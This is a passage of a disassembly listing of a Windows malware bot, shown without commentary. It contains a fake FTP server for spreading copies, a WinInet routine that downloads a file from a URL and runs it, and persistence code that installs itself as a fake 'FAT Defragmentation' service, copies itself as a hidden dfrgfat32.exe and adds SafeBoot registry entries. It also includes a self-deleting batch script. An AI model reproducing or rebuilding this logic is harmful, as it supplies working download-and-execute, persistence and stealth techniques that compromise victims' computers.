XREF: text:00408260j lea eax, [ebp-0B0h] push offset aPass ; "PASS" push eax call sub_409AF0 ; strcmp pop ecx test eax, eax pop ecx jnz short loc_408293 push esi push 14h push offset a230UserLoggedI ; "230 User logged in.\n" jmp loc_40854F ; --------------------------------------------------------------------------- loc_408293: ; CODE XREF: text:00408284j lea eax, [ebp-0B0h] push offset aSyst ; "SYST" push eax call sub_409AF0 ; strcmp pop ecx test eax, eax pop ecx jnz short loc_4082B7 push esi push 12h push offset a215UnixTypeL8 ; "215 UNIX Type: L8\n" jmp loc_40854F ; --------------------------------------------------------------------------- loc_4082B7: ; CODE XREF: text:004082A8j lea eax, [ebp-0B0h] push offset aRest ; "REST" push eax call sub_409AF0 ; strcmp pop ecx test eax, eax pop ecx jnz short loc_4082DB push esi push 10h push offset a350Restarting_ ; "350 Restarting.\n" jmp loc_40854F ; --------------------------------------------------------------------------- loc_4082DB: ; CODE XREF: text:004082CCj lea eax, [ebp-0B0h] push offset aPwd ; "PWD" push eax call sub_409AF0 ; strcmp pop ecx test eax, eax pop ecx jnz short loc_4082FF push esi push 1Eh push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n" jmp loc_40854F ; --------------------------------------------------------------------------- loc_4082FF: ; CODE XREF: text:004082F0j lea eax, [ebp-0B0h] push offset aType ; "TYPE" push eax call sub_409AF0 ; strcmp pop ecx test eax, eax pop ecx jnz short loc_40832D lea eax, [ebp-404h] push offset aA_0 ; "A" push eax call sub_409AF0 ; strcmp pop ecx test eax, eax pop ecx jz short loc_408344 loc_40832D: ; CODE XREF: text:00408314j lea eax, [ebp-404h] push offset aI ; "I" push eax call sub_409AF0 ; strcmp pop ecx test eax, eax pop ecx jnz short loc_408351 loc_408344: ; CODE XREF: text:0040832Bj push esi push 13h push offset a200TypeSetToA_ ; "200 Type set to A.\n" jmp loc_40854F ; --------------------------------------------------------------------------- loc_408351: ; CODE XREF: text:00408342j lea eax, [ebp-0B0h] push offset aPasv ; "PASV" push eax call sub_409AF0 ; strcmp pop ecx test eax, eax pop ecx jnz short loc_408375 push esi push 29h push offset a425PassiveNotS ; "425 Passive not supported on this serve"... jmp loc_40854F ; --------------------------------------------------------------------------- loc_408375: ; CODE XREF: text:00408366j lea eax, [ebp-0B0h] push offset aList ; "LIST" push eax call sub_409AF0 ; strcmp pop ecx test eax, eax pop ecx jnz short loc_408399 push esi push 16h push offset a226TransferCom ; "226 Transfer complete\n" jmp loc_40854F ; --------------------------------------------------------------------------- loc_408399: ; CODE XREF: text:0040838Aj lea eax, [ebp-0B0h] push offset aPort ; "PORT" push eax call sub_409AF0 ; strcmp pop ecx test eax, eax pop ecx jnz loc_408477 lea eax, [ebp-304h] push eax lea eax, [ebp-2C4h] push eax lea eax, [ebp-18h] push eax lea eax, [ebp-10h] push eax lea eax, [ebp-20h] push eax lea eax, [ebp-14h] push eax lea eax, [ebp-284h] push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"... push eax call sub_409AF6 ; sscanf lea eax, [ebp-2C4h] push eax call sub_409A38 ; atoi mov [ebp-0Ch], eax lea eax, [ebp-304h] push eax call sub_409A38 ; atoi mov [ebp-8], eax push 40h lea eax, [ebp-204h] push esi push eax call sub_409AB4 ; memset add esp, 34h lea eax, [ebp-204h] push dword ptr [ebp-8] push dword ptr [ebp-0Ch] push offset aXX ; "%x%x\n" push 40h push eax call sub_409A26 ; _snprintf push 10h lea eax, [ebp-204h] push esi push eax call sub_409AEA ; strtoul add esp, 20h mov [ebp-0Ch], eax lea eax, [ebp-18h] push eax lea eax, [ebp-10h] push eax lea eax, [ebp-20h] push eax lea eax, [ebp-14h] push eax push offset aS_S_S_S ; "%s.%s.%s.%s" lea eax, [ebp-484h] push 80h push eax call sub_409A26 ; _snprintf add esp, 1Ch push esi push 1Dh push offset a200PortCommand ; "200 PORT command successful.\n" jmp loc_40854F ; --------------------------------------------------------------------------- loc_408477: ; CODE XREF: text:004083AEj lea eax, [ebp-0B0h] push offset aRetr ; "RETR" push eax call sub_409AF0 ; strcmp pop ecx test eax, eax pop ecx jnz loc_408530 push esi push 28h push offset a150OpeningBina ; "150 Opening BINARY mode data connection"... push edi call ebx ; dword_4011A8 push dword ptr [ebp-0Ch] lea eax, [ebp-484h] push eax call sub_407EAB pop ecx test al, al pop ecx jz short loc_408526 push ds:dword_409D18 call sub_407F03 pop ecx test al, al push esi jz short loc_4084CC push 17h push offset a226TransferC_0 ; "226 Transfer complete.\n" jmp short loc_4084D3 ; --------------------------------------------------------------------------- loc_4084CC: ; CODE XREF: text:004084C1j push 20h push offset a425CanTOpenDat ; "425 Can't open data connection.\n" loc_4084D3: ; CODE XREF: text:004084CAj push edi call ebx ; dword_4011A8 inc ds:dword_409F08 lea eax, [ebp-30h] push eax push edi call sub_4085AE pop ecx lea eax, [ebp-30h] pop ecx push eax lea eax, [ebp-30h] push eax call sub_4091CA pop ecx push eax mov eax, dword_40397C imul eax, 1Ch push ds:dword_409F08 push off_4016E0[eax] push offset dword_4035C8 call sub_404C8D add esp, 14h push ds:dword_409D18 call dword_4011B8 ; closesocket jmp short loc_408552 ; --------------------------------------------------------------------------- loc_408526: ; CODE XREF: text:004084B0j push esi push 20h push offset a425CanTOpenDat ; "425 Can't open data connection.\n" jmp short loc_40854F ; --------------------------------------------------------------------------- loc_408530: ; CODE XREF: text:0040848Cj lea eax, [ebp-0B0h] push offset aQuit ; "QUIT" push eax call sub_409AF0 ; strcmp pop ecx test eax, eax pop ecx jnz short loc_408552 push esi push 0Dh push offset a221Goodbye_ ; "221 Goodbye.\n" loc_40854F: ; CODE XREF: text:0040826Aj ; text:0040828Ej ... push edi call ebx ; dword_4011A8 loc_408552: ; CODE XREF: text:00408524j ; text:00408545j push 80h lea eax, [ebp-284h] push esi push eax call sub_409AB4 ; memset add esp, 0Ch loc_408567: ; CODE XREF: text:004080D2j ; text:00408126j ... inc edi cmp edi, [ebp-4] jle loc_40809C loc_408571: ; CODE XREF: text:00408096j push offset aFtpdaemon ; "FTPDaemon" call sub_409783 lea eax, [eax+eax*2] pop ecx cmp ds:dword_409D68[eax*8], esi jnz loc_408060 mov esi, offset aFtpdaemon ; "FTPDaemon" loc_408591: ; CODE XREF: text:00408054j push esi call sub_409783 push eax call sub_40971A pop ecx pop ecx push 1 call dword_401088 ; ExitThread loc_4085A7: ; CODE XREF: text:0040808Bj push esi call dword_401088 ; ExitThread ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4085AE proc near ; CODE XREF: code:004079B1p ; text:004084E1p var_14 = byte ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] mov [ebp+var_4], 10h push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_4011E8 ; getpeername test eax, eax jz short loc_4085D4 xor al, al leave retn ; --------------------------------------------------------------------------- loc_4085D4: ; CODE XREF: sub_4085AE+20j push 2 lea eax, [ebp+var_10] push 4 push eax call dword_4011E4 ; gethostbyaddr test eax, eax jnz short loc_4085FA push [ebp+var_10] call dword_4011D0 ; inet_ntoa push eax push [ebp+arg_4] call sub_409AC0 ; sprintf jmp short loc_408604 ; --------------------------------------------------------------------------- loc_4085FA: ; CODE XREF: sub_4085AE+36j push dword ptr [eax] push [ebp+arg_4] call sub_409AAE ; strcpy loc_408604: ; CODE XREF: sub_4085AE+4Aj pop ecx mov al, 1 pop ecx leave retn sub_4085AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40860A proc near ; CODE XREF: code:00407B19p ; code:00407C21p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 10h push [ebp+arg_4] mov [ebp+var_10], 2 call dword_4011B0 ; ntohs mov [ebp+var_E], ax and [ebp+var_C], 0 lea eax, [ebp+arg_4] push 4 push eax push 4 push 0FFFFh mov [ebp+arg_4], 1 push [ebp+arg_0] call dword_4011F4 ; setsockopt test eax, eax jnz short loc_408672 lea eax, [ebp+var_10] push 10h push eax push [ebp+arg_0] call dword_4011F0 ; bind cmp eax, 0FFFFFFFFh jz short loc_408672 cmp [ebp+arg_8], 0 jnz short loc_408676 push 0Ah push [ebp+arg_0] call dword_4011EC ; listen cmp eax, 0FFFFFFFFh jnz short loc_408676 loc_408672: ; CODE XREF: sub_40860A+3Cj ; sub_40860A+50j xor al, al leave retn ; --------------------------------------------------------------------------- loc_408676: ; CODE XREF: sub_40860A+56j ; sub_40860A+66j mov al, 1 leave retn sub_40860A endp ; =============== S U B R O U T I N E ======================================= sub_40867A proc near ; CODE XREF: sub_404360+1BBp ; code:00405669p ... arg_0 = dword ptr 4 push 2 push [esp+4+arg_0] call dword_4011F8 ; shutdown push [esp+arg_0] call dword_4011B8 ; closesocket retn sub_40867A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408691 proc near ; CODE XREF: sub_40870A+4Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] push esi push edi push 7 push offset aHttp ; "http://" push ebx call sub_409B02 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_4086F6 lea edi, [ebx+7] push 2Fh push edi call sub_409AFC ; strchr mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4086F6 push ebx call sub_409AA2 ; strlen cmp eax, 100h pop ecx jnb short loc_4086F6 push esi push [ebp+arg_8] call sub_409AAE ; strcpy sub esi, ebx lea eax, [esi-7] push eax push edi mov edi, [ebp+arg_4] push edi call sub_409ABA ; memcpy add esp, 14h and byte ptr [esi+edi-7], 0 mov ax, 1 jmp short loc_408705 ; --------------------------------------------------------------------------- loc_4086F6: ; CODE XREF: sub_408691+1Bj ; sub_408691+2Ej ... mov eax, [ebp+arg_4] and byte ptr [eax], 0 mov eax, [ebp+arg_8] and byte ptr [eax], 0 xor ax, ax loc_408705: ; CODE XREF: sub_408691+63j pop edi pop esi pop ebx pop ebp retn sub_408691 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40870A proc near ; CODE XREF: sub_404360+25Dp var_33C = dword ptr -33Ch var_338 = dword ptr -338h var_334 = dword ptr -334h var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_328 = byte ptr -328h var_228 = dword ptr -228h var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = byte ptr -21Ch var_11C = byte ptr -11Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_404310 push offset sub_409A50 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 32Ch push ebx push esi push edi mov [ebp+var_18], esp xor ebx, ebx mov [ebp+var_32C], ebx mov [ebp+var_224], ebx mov [ebp+var_4], ebx lea eax, [ebp+var_21C] push eax lea eax, [ebp+var_328] push eax push [ebp+arg_0] call sub_408691 add esp, 0Ch test ax, ax jnz short loc_408769 loc_408762: ; CODE XREF: sub_40870A+76j ; sub_40870A+A0j ... xor eax, eax jmp loc_40890D ; --------------------------------------------------------------------------- loc_408769: ; CODE XREF: sub_40870A+56j push ebx push ebx push ebx push ebx push offset aDetox ; "dETOX" call dword_401184 ; InternetOpenA mov [ebp+var_330], eax cmp eax, ebx jz short loc_408762 push ebx push ebx push 3 mov eax, offset byte_409CF0 push eax push eax push 50h lea eax, [ebp+var_328] push eax push [ebp+var_330] call dword_401180 ; InternetConnectA mov [ebp+var_220], eax cmp eax, ebx jz short loc_408762 push ebx push ebx push ebx push ebx push ebx lea ecx, [ebp+var_21C] push ecx push ebx push eax call dword_40117C ; HttpOpenRequestA mov [ebp+var_228], eax cmp eax, ebx jz short loc_408762 push ebx push ebx push ebx push ebx push eax call dword_401178 ; HttpSendRequestA test eax, eax jz short loc_408762 push offset aWb ; "wb" push [ebp+arg_4] call sub_409ADE ; fopen pop ecx pop ecx mov [ebp+var_334], eax cmp eax, ebx jz loc_408762 loc_4087F6: ; CODE XREF: sub_40870A+184j push ebx push ebx lea eax, [ebp+var_32C] push eax push [ebp+var_228] call dword_401174 ; InternetQueryDataAvailable test eax, eax jz loc_408894 mov esi, [ebp+var_32C] add [ebp+var_224], esi lea eax, [esi+1] add eax, 3 and al, 0FCh call sub_409A60 mov [ebp+var_18], esp mov edi, esp mov [ebp+var_338], edi mov [edi+esi], bl mov [ebp+var_33C], ebx lea eax, [ebp+var_33C] push eax push [ebp+var_32C] push edi push [ebp+var_228] call dword_401190 ; InternetReadFile test eax, eax jz short loc_408894 push [ebp+var_334] push 1 push [ebp+var_33C] push edi call sub_409B08 ; fwrite add esp, 10h test eax, eax jz short loc_408894 push edi call sub_409A20 ; free pop ecx push 0Ah call dword_40107C ; Sleep cmp [ebp+var_32C], ebx ja loc_4087F6 loc_408894: ; CODE XREF: sub_40870A+103j ; sub_40870A+152j ... push [ebp+var_228] mov esi, dword_40118C call esi ; dword_40118C push [ebp+var_220] call esi ; dword_40118C push [ebp+var_330] call esi ; dword_40118C push [ebp+var_334] call sub_409AD2 ; fclose pop ecx cmp [ebp+arg_8], bl jz short loc_4088CD push ebx push [ebp+arg_4] call dword_4010AC ; WinExec loc_4088CD: ; CODE XREF: sub_40870A+1B7j cmp [ebp+arg_C], bl jz short loc_40891A push 104h lea eax, [ebp+var_11C] push eax push ebx call dword_4010A0 ; GetModuleFileNameA push ebx push [ebp+arg_4] call dword_4010AC ; WinExec push 1 lea eax, [ebp+var_11C] push eax call sub_408D7F pop ecx pop ecx test al, al jz loc_408762 mov eax, [ebp+var_224] loc_40890D: ; CODE XREF: sub_40870A+5Aj or [ebp+var_4], 0FFFFFFFFh jmp short loc_408924 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] loc_40891A: ; CODE XREF: sub_40870A+1C6j or [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_224] loc_408924: ; CODE XREF: sub_40870A+207j lea esp, [ebp-348h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_40870A endp ; =============== S U B R O U T I N E ======================================= sub_408939 proc near ; CODE XREF: sub_409022+53p arg_0 = dword ptr 4 push [esp+arg_0] push 1 push 0 call dword_4010B4 ; CreateMutexA call dword_4010B0 ; RtlGetLastWin32Error cmp eax, 0B7h setz al retn sub_408939 endp ; =============== S U B R O U T I N E ======================================= sub_408956 proc near ; CODE XREF: sub_408FA5+2Ap arg_0 = dword ptr 4 push ebx push edi push 0F003Fh xor ebx, ebx push offset aServicesactive ; "ServicesActive" push ebx call dword_401014 ; OpenSCManagerA mov edi, eax cmp edi, ebx jnz short loc_408975 xor al, al jmp short loc_40899B ; --------------------------------------------------------------------------- loc_408975: ; CODE XREF: sub_408956+19j push esi push 0F01FFh push [esp+10h+arg_0] push edi call dword_401018 ; OpenServiceA mov esi, dword_40101C cmp eax, ebx jz short loc_408995 push eax call esi ; dword_40101C mov bl, 1 loc_408995: ; CODE XREF: sub_408956+38j push edi call esi ; dword_40101C mov al, bl pop esi loc_40899B: ; CODE XREF: sub_408956+1Dj pop edi pop ebx retn sub_408956 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40899E proc near ; CODE XREF: sub_408D7F+18p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi xor ebx, ebx push 0F003Fh push offset aServicesactive ; "ServicesActive" push ebx call dword_401014 ; OpenSCManagerA mov esi, eax cmp esi, ebx jz short loc_4089E1 push 0F01FFh push [ebp+arg_0] push esi call dword_401018 ; OpenServiceA mov edi, eax cmp edi, ebx jz short loc_4089E4 push edi call dword_401010 ; DeleteService test eax, eax jz short loc_4089E4 mov bl, 1 jmp short loc_4089E4 ; --------------------------------------------------------------------------- loc_4089E1: ; CODE XREF: sub_40899E+1Dj mov edi, [ebp+arg_0] loc_4089E4: ; CODE XREF: sub_40899E+32j ; sub_40899E+3Dj ... push esi mov esi, dword_40101C call esi ; dword_40101C push edi call esi ; dword_40101C pop edi mov al, bl pop esi pop ebx pop ebp retn sub_40899E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4089F7 proc near ; CODE XREF: sub_408FA5+42p ; sub_408FA5+52p var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 30h push ebx push esi push edi xor esi, esi push 2 push esi push esi call dword_401014 ; OpenSCManagerA cmp eax, esi mov [ebp+var_14], eax jz short loc_408A87 push esi push esi push esi push esi push esi push [ebp+arg_0] push esi push 2 push 110h push 0F01FFh push offset aDefragmentatio ; "Defragmentation Management Handler" push offset aFatDefragmenta ; "FAT Defragmentation" push eax call dword_401024 ; CreateServiceA cmp eax, esi mov [ebp+arg_0], eax jz short loc_408A87 mov ebx, dword_401020 lea ecx, [ebp+var_1C] push 1 mov [ebp+var_20], ecx pop edi lea ecx, [ebp+var_30] push ecx push 2 push eax mov [ebp+var_18], edi mov [ebp+var_1C], edi mov [ebp+var_10], offset aMonitoringTheD ; "Monitoring the defragmentating process."... mov [ebp+var_30], 5 mov [ebp+var_2C], esi mov [ebp+var_28], esi mov [ebp+var_24], edi call ebx ; dword_401020 test eax, eax jz short loc_408A87 lea eax, [ebp+var_10] push eax push edi push [ebp+arg_0] call ebx ; dword_401020 test eax, eax jnz short loc_408A8E loc_408A87: ; CODE XREF: sub_4089F7+1Aj ; sub_4089F7+47j ... xor al, al jmp loc_408B6F ; --------------------------------------------------------------------------- loc_408A8E: ; CODE XREF: sub_4089F7+8Ej push [ebp+arg_0] call dword_40101C ; CloseServiceHandle mov edi, dword_401000 lea eax, [ebp+var_C] mov ebx, 0F003Fh push eax push ebx push esi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\SafeBo"... push 80000002h call edi ; dword_401000 test eax, eax jnz loc_408B64 lea eax, [ebp+var_4] push eax push ebx push esi push offset aMinimal ; "Minimal" push [ebp+var_C] call edi ; dword_401000 test eax, eax mov edi, offset aService ; "Service" jnz short loc_408B0C lea eax, [ebp+var_4] push esi push eax push esi push ebx push esi push esi push esi push offset aFatDefragmenta ; "FAT Defragmentation" push [ebp+var_4] call dword_401004 ; RegCreateKeyExA push edi call sub_409AA2 ; strlen pop ecx push eax push edi push 1 push esi push esi push [ebp+var_4] call dword_401008 ; RegSetValueExA push [ebp+var_4] call dword_40100C ; RegCloseKey loc_408B0C: ; CODE XREF: sub_4089F7+DCj lea eax, [ebp+var_8] push eax push ebx push esi push offset aNetwork ; "Network" push [ebp+var_C] call dword_401000 ; RegOpenKeyExA test eax, eax jnz short loc_408B5B lea eax, [ebp+var_8] push esi push eax push esi push ebx push esi push esi push esi push offset aFatDefragmenta ; "FAT Defragmentation" push [ebp+var_8] call dword_401004 ; RegCreateKeyExA push edi call sub_409AA2 ; strlen pop ecx push eax push edi push 1 push esi push esi push [ebp+var_8] call dword_401008 ; RegSetValueExA push [ebp+var_8] call dword_40100C ; RegCloseKey loc_408B5B: ; CODE XREF: sub_4089F7+12Bj push [ebp+var_C] call dword_40100C ; RegCloseKey loc_408B64: ; CODE XREF: sub_4089F7+BFj push [ebp+var_14] call dword_40101C ; CloseServiceHandle mov al, 1 loc_408B6F: ; CODE XREF: sub_4089F7+92j pop edi pop esi pop ebx leave retn sub_4089F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408B74 proc near ; CODE XREF: sub_408FA5+36p var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10Ch push ebx push esi push 2 push 0 push 0 call dword_401014 ; OpenSCManagerA mov ebx, eax test ebx, ebx jz short loc_408C04 mov esi, 0F003Fh push esi push [ebp+arg_0] push ebx call dword_401018 ; OpenServiceA test eax, eax mov [ebp+var_8], eax jz short loc_408C04 push [ebp+arg_0] lea eax, [ebp+var_10C] push offset aSystemCurren_0 ; "SYSTEM\\CurrentControlSet\\Services\\%s" push 104h push eax call sub_409A26 ; _snprintf add esp, 10h lea eax, [ebp+var_4] push eax push esi lea eax, [ebp+var_10C] push 0 push eax push 80000002h call dword_401000 ; RegOpenKeyExA test eax, eax jnz short loc_408C11 lea eax, [ebp+arg_0] push 4 push eax push 4 push 0 push offset aStart ; "Start" push [ebp+var_4] mov [ebp+arg_0], 2 call dword_401008 ; RegSetValueExA test eax, eax jz short loc_408C08 loc_408C04: ; CODE XREF: sub_408B74+1Bj ; sub_408B74+32j xor al, al jmp short loc_408C21 ; --------------------------------------------------------------------------- loc_408C08: ; CODE XREF: sub_408B74+8Ej push [ebp+var_4] call dword_40100C ; RegCloseKey loc_408C11: ; CODE XREF: sub_408B74+6Bj push [ebp+var_8] mov esi, dword_40101C call esi ; dword_40101C push ebx call esi ; dword_40101C mov al, 1 loc_408C21: ; CODE XREF: sub_408B74+92j pop esi pop ebx leave retn sub_408B74 endp ; =============== S U B R O U T I N E ======================================= sub_408C25 proc near ; DATA XREF: sub_408C39+Eo push offset dword_409D20 push ds:dword_409D3C call dword_401028 ; SetServiceStatus retn 4 sub_408C25 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408C39 proc near ; DATA XREF: sub_408D57+19o var_20C = byte ptr -20Ch var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi xor edi, edi push offset sub_408C25 push offset aFatDefragmenta ; "FAT Defragmentation" mov ds:dword_409D20, 30h mov ds:dword_409D24, 1 mov ds:dword_409D28, edi mov ds:dword_409D2C, edi mov ds:dword_409D30, edi mov ds:dword_409D34, edi mov ds:dword_409D38, edi call dword_40102C ; RegisterServiceCtrlHandlerA cmp eax, edi mov ds:dword_409D3C, eax jz loc_408D50 mov ebx, dword_401028 mov esi, offset dword_409D20 push esi push eax mov ds:dword_409D24, 2 call ebx ; dword_401028 push edi push edi push edi push edi call dword_401074 ; CreateEventA push esi mov ds:dword_409D40, eax push ds:dword_409D3C mov ds:dword_409D24, 4 call ebx ; dword_401028 sub esp, 20Ch mov ecx, 82h lea esi, [ebp+var_20C] mov edi, esp mov [ebp+var_4], 1 and ds:byte_409F0C, 0 rep movsd movsb call sub_409022 add esp, 20Ch push 0FFFFFFFFh push ds:dword_409D40 call dword_401078 ; WaitForSingleObject mov esi, offset dword_409D20 mov ds:dword_409D24, 3 push esi push ds:dword_409D3C call ebx ; dword_401028 push ds:dword_409D40 call dword_4010A4 ; CloseHandle and ds:dword_409D40, 0 and ds:dword_409D28, 0FFFFFFFAh push esi mov ds:dword_409D24, 1 push ds:dword_409D3C call ebx ; dword_401028 loc_408D50: ; CODE XREF: sub_408C39+57j pop edi pop esi pop ebx leave retn 8 sub_408C39 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408D57 proc near ; CODE XREF: sub_408FA5:loc_408FEFp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 10h and [ebp+var_8], 0 and [ebp+var_4], 0 lea eax, [ebp+var_10] mov [ebp+var_10], offset aFatDefragmenta ; "FAT Defragmentation" push eax mov [ebp+var_C], offset sub_408C39 call dword_401030 ; StartServiceCtrlDispatcherA leave retn sub_408D57 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408D7F proc near ; CODE XREF: sub_40870A+1EEp ; sub_408EAE+E6p ... var_60C = byte ptr -60Ch var_20C = byte ptr -20Ch var_108 = byte ptr -108h var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 60Ch push ebx xor ebx, ebx cmp byte ptr [ebp+arg_4], bl push esi push edi jz short loc_408D9D push offset aFatDefragmenta ; "FAT Defragmentation" call sub_40899E pop ecx loc_408D9D: ; CODE XREF: sub_408D7F+11j lea eax, [ebp+var_60C] mov esi, 400h push eax push esi call dword_401060 ; GetTempPathA lea eax, [ebp+var_60C] mov edi, 104h push eax push offset aSdestroy_cmd ; "%sdestroy.cmd" lea eax, [ebp+var_108] push edi push eax call sub_409A26 ; _snprintf add esp, 10h lea eax, [ebp+var_108] push ebx push ebx push 2 push ebx push ebx push 40000000h push eax call dword_4010A8 ; CreateFileA cmp eax, ebx mov [ebp+arg_4], eax jz short loc_408E2C push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... lea eax, [ebp+var_60C] push esi push eax call sub_409A26 ; _snprintf add esp, 0Ch lea eax, [ebp+var_4] push ebx push eax lea eax, [ebp+var_60C] push eax call sub_409AA2 ; strlen pop ecx push eax lea eax, [ebp+var_60C] push eax push [ebp+arg_4] call dword_401064 ; WriteFile test eax, eax jnz short loc_408E33 loc_408E2C: ; CODE XREF: sub_408D7F+6Fj pop edi pop esi xor al, al pop ebx leave retn ; --------------------------------------------------------------------------- loc_408E33: ; CODE XREF: sub_408D7F+ABj push [ebp+arg_4] call dword_4010A4 ; CloseHandle push [ebp+arg_0] call dword_401068 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_408E58 push 80h push [ebp+arg_0] call dword_40106C ; SetFileAttributesA loc_408E58: ; CODE XREF: sub_408D7F+C9j lea eax, [ebp+var_108] push eax lea eax, [ebp+var_108] push [ebp+arg_0] push eax push offset aComspecCSSS ; "%%comspec%% /c %s %s %s" lea eax, [ebp+var_60C] push esi push eax call sub_409A26 ; _snprintf add esp, 18h lea eax, [ebp+var_20C] push edi push eax lea eax, [ebp+var_60C] push eax call dword_401070 ; ExpandEnvironmentStringsA lea eax, [ebp+var_20C] push ebx push eax call dword_4010AC ; WinExec call dword_40119C ; WSACleanup push ebx call dword_401084 ; ExitProcess sub_408D7F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408EAE proc near ; CODE XREF: sub_408FA5+7p var_104 = byte ptr -104h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 104h push ebx push esi mov esi, 104h push edi lea eax, [ebp+var_104] push esi push eax push 0 call dword_4010A0 ; GetModuleFileNameA mov ebx, [ebp+arg_0] push esi lea edi, [ebx+104h] push edi call dword_401050 ; GetSystemDirectoryA push edi call dword_401054 ; lstrlenA cmp byte ptr [eax+ebx+103h], 5Ch jz short loc_408EFD push offset asc_403978 ; "\\" push edi call dword_401058 ; lstrcatA loc_408EFD: ; CODE XREF: sub_408EAE+41j push offset aDfrgfat32_exe ; "dfrgfat32.exe" push edi call dword_401058 ; lstrcatA lea eax, [ebp+var_104] push esi push eax push ebx call sub_409A32 ; strncpy push edi call sub_4097C4 add esp, 10h test al, al jz short loc_408F40 push 7 push ebx call dword_40106C ; SetFileAttributesA test eax, eax jnz short loc_408F35 loc_408F31: ; CODE XREF: sub_408EAE+ADj ; sub_408EAE+C7j ... xor al, al jmp short loc_408FA0 ; --------------------------------------------------------------------------- loc_408F35: ; CODE XREF: sub_408EAE+81j and byte ptr [ebx+208h], 0 mov al, 1 jmp short loc_408FA0 ; --------------------------------------------------------------------------- loc_408F40: ; CODE XREF: sub_408EAE+74j xor esi, esi push esi push 80h push 2 push esi push 3 push 40000000h push edi call dword_4010A8 ; CreateFileA cmp eax, esi jz short loc_408F31 push eax call dword_4010A4 ; CloseHandle push esi lea eax, [ebp+var_104] push edi push eax call dword_40105C ; CopyFileA test eax, eax jz short loc_408F31 push 7 push edi call dword_40106C ; SetFileAttributesA test eax, eax jz short loc_408F31 push esi push edi call dword_4010AC ; WinExec lea eax, [ebp+var_104] push esi push eax call sub_408D7F pop ecx test al, al pop ecx setnz al loc_408FA0: ; CODE XREF: sub_408EAE+85j ; sub_408EAE+90j pop edi pop esi pop ebx leave retn sub_408EAE endp ; =============== S U B R O U T I N E ======================================= sub_408FA5 proc near ; CODE XREF: sub_409022+17Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi push esi call sub_408EAE test al, al pop ecx jnz short loc_408FC0 cmp [esi+208h], al jz short loc_408FC9 jmp short loc_408FFF ; --------------------------------------------------------------------------- loc_408FC0: ; CODE XREF: sub_408FA5+Fj cmp byte ptr [esi+208h], 0 jnz short loc_408FF6 loc_408FC9: ; CODE XREF: sub_408FA5+17j mov edi, offset aFatDefragmenta ; "FAT Defragmentation" push edi call sub_408956 test al, al pop ecx jz short loc_408FF6 push esi push edi call sub_408B74 pop ecx test al, al pop ecx jnz short loc_408FEF push esi call sub_4089F7 pop ecx jmp short loc_408FFF ; --------------------------------------------------------------------------- loc_408FEF: ; CODE XREF: sub_408FA5+3Fj call sub_408D57 jmp short loc_408FFD ; --------------------------------------------------------------------------- loc_408FF6: ; CODE XREF: sub_408FA5+22j ; sub_408FA5+32j push esi call sub_4089F7 pop ecx loc_408FFD: ; CODE XREF: sub_408FA5+4Fj mov al, 1 loc_408FFF: ; CODE XREF: sub_408FA5+19j ; sub_408FA5+48j pop edi pop esi retn sub_408FA5 endp ; =============== S U B R O U T I N E ======================================= sub_409002 proc near ; CODE XREF: sub_409022:loc_40905Ep var_190 = byte ptr -190h sub esp, 190h lea eax, 